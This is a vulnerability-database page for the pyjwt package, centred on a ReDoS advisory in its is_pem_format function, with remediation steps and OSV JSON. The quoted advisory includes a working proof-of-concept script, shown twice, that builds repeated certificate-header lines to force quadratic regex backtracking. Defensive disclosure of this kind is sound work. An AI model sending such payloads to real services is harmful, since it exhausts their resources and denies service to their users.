Vulnerabilities in pkg:pypi/pyjwt

PACKAGE
Advisory Identifier: GHSA-jwrc-g2q2-pq5p
Advisory Summary

CVE-2026-102270 is a MODERATE (CVSS 4.4) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting PyJWT libraries in the PyPI ecosystem. The issue involves redos vulnerability when calling the `is_pem_format` function.. Remediation is available by upgrading affected packages to version 2.14.0.

9 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pyjwt

9 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pyjwt. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-jwrc-g2q2-pq5p CVE-2026-102270 MODERATE PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.
GHSA-p4g4-x82p-q773 CVE-2026-102271 HIGH PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
GHSA-2gx3-rcp4-g85q CVE-2026-101917 MODERATE PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)
GHSA-fhv5-28vv-h8m8 CVE-2026-48524 LOW PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)
GHSA-w7vc-732c-9m39 CVE-2026-48525 MODERATE PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS
GHSA-xgmm-8j9v-c9wx CVE-2026-48526 HIGH PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
GHSA-jq35-7prp-9v3f CVE-2026-48523 MODERATE PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys
GHSA-r9jw-mwhq-wp62 CVE-2017-11424 HIGH PyJWT vulnerable to key confusion attacks
GHSA-ffqj-6fqr-9h24 CVE-2022-29217 HIGH Key confusion through non-blocklisted public key formats

CVE-2026-102270 at a Glance

CVE Identifier CVE-2026-102270
GHSA Identifier GHSA-jwrc-g2q2-pq5p
Severity MODERATE
CVSS v3.1 Base Score 4.4
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product PyJWT
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 4.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-102270

To remediate this vulnerability, upgrade all affected PyJWT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyjwt fixed: 2.14.0
pip install pyjwt>=2.14.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyjwt

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-102270, inspect your installed packages using pip:

pip show pyjwt

Analyze the terminal output to locate any version of PyJWT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.0), your application is affected.

Note: The pip show pyjwt command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In PyJWT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate. ### Details The problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²). ### PoC ```python import time import re BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n" _PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", } _PEM_RE = re.compile( b"----[- ]BEGIN (" + b"|".join(_PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, ) def is_pem_format(key: bytes) -> bool: return bool(_PEM_RE.search(key)) def make_payload(num_headers: int) -> bytes: return BEGIN_LINE * num_headers def measure(num_headers: int) -> float: payload = make_payload(num_headers) start = time.perf_counter() is_pem_format(payload) # returns False, but burns CPU getting there elapsed = time.perf_counter() - start print( f" headers={num_headers:>4} size={len(payload)//1024:>3} KB" f" time={elapsed*1000:>7.1f} ms" ) return elapsed for n in (1000, 2000, 4000, 8000): measure(n) ``` ### Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable. ### Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release. ## Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

CVE-2026-102270 Affected PyJWT Versions

1 component(s)
Fixed Versions:
2.14.0
Product / Package Ecosystem Affected Versions Fixed Version
pyjwt
PyPI
< 2.14.0
2.14.0

References

Frequently Asked Questions

What is CVE-2026-102270?
CVE-2026-102270 is a security vulnerability in PyJWT involving ReDoS vulnerability when calling the `is_pem_format` function. under CWE-1333: Inefficient Regular Expression Complexity.
Which PyJWT versions are affected?
Affected versions include releases prior to 2.14.0 across affected packages: pyjwt.
What version fixes CVE-2026-102270?
Upgrading to 2.14.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyjwt affected?
Yes, pyjwt is affected in releases prior to 2.14.0. Upgrade your dependency to 2.14.0 or later.
What is the CVSS score of CVE-2026-102270?
CVE-2026-102270 has a CVSS v3.1 base score of 4.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-102270?
CVE-2026-102270 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check PyPI dependencies for CVE-2026-102270?
Run the dependency tree command: 'pip show pyjwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jwrc-g2q2-pq5p",
  "modified" : "2026-09-30T14:40:26Z",
  "published" : "2026-09-30T14:40:25Z",
  "aliases" : [ "CVE-2026-102270" ],
  "summary" : "PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.",
  "details" : "### Summary\nThere is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.\n\n\n### Details\nThe problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²). \n\n\n### PoC\n```python\nimport time\nimport re\n\n\nBEGIN_LINE = b\"-----BEGIN CERTIFICATE-----\\n\"\n\n_PEMS = {\n    b\"CERTIFICATE\",\n    b\"TRUSTED CERTIFICATE\",\n    b\"PRIVATE KEY\",\n    b\"PUBLIC KEY\",\n    b\"ENCRYPTED PRIVATE KEY\",\n    b\"OPENSSH PRIVATE KEY\",\n    b\"DSA PRIVATE KEY\",\n    b\"RSA PRIVATE KEY\",\n    b\"RSA PUBLIC KEY\",\n    b\"EC PRIVATE KEY\",\n    b\"DH PARAMETERS\",\n    b\"NEW CERTIFICATE REQUEST\",\n    b\"CERTIFICATE REQUEST\",\n    b\"SSH2 PUBLIC KEY\",\n    b\"SSH2 ENCRYPTED PRIVATE KEY\",\n    b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n    b\"----[- ]BEGIN (\"\n    + b\"|\".join(_PEMS)\n    + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n    re.DOTALL,\n)\n\n\ndef is_pem_format(key: bytes) -> bool:\n    return bool(_PEM_RE.search(key))\n\n\ndef make_payload(num_headers: int) -> bytes:\n    return BEGIN_LINE * num_headers\n\n\ndef measure(num_headers: int) -> float:\n    payload = make_payload(num_headers)\n    start = time.perf_counter()\n    is_pem_format(payload)  # returns False, but burns CPU getting there\n    elapsed = time.perf_counter() - start\n    print(\n        f\"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB\"\n        f\"   time={elapsed*1000:>7.1f} ms\"\n    )\n    return elapsed\n\n\nfor n in (1000, 2000, 4000, 8000):\n    measure(n)\n```\n\n### Impact\nThe attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.\n\n\n### Maintainer update (2026-09-10): \nWe reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyjwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.14.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.13.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102270"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpadilla/pyjwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-30T14:40:25Z",
    "nvd_published_at" : "2026-09-28T21:17:14Z"
  }
}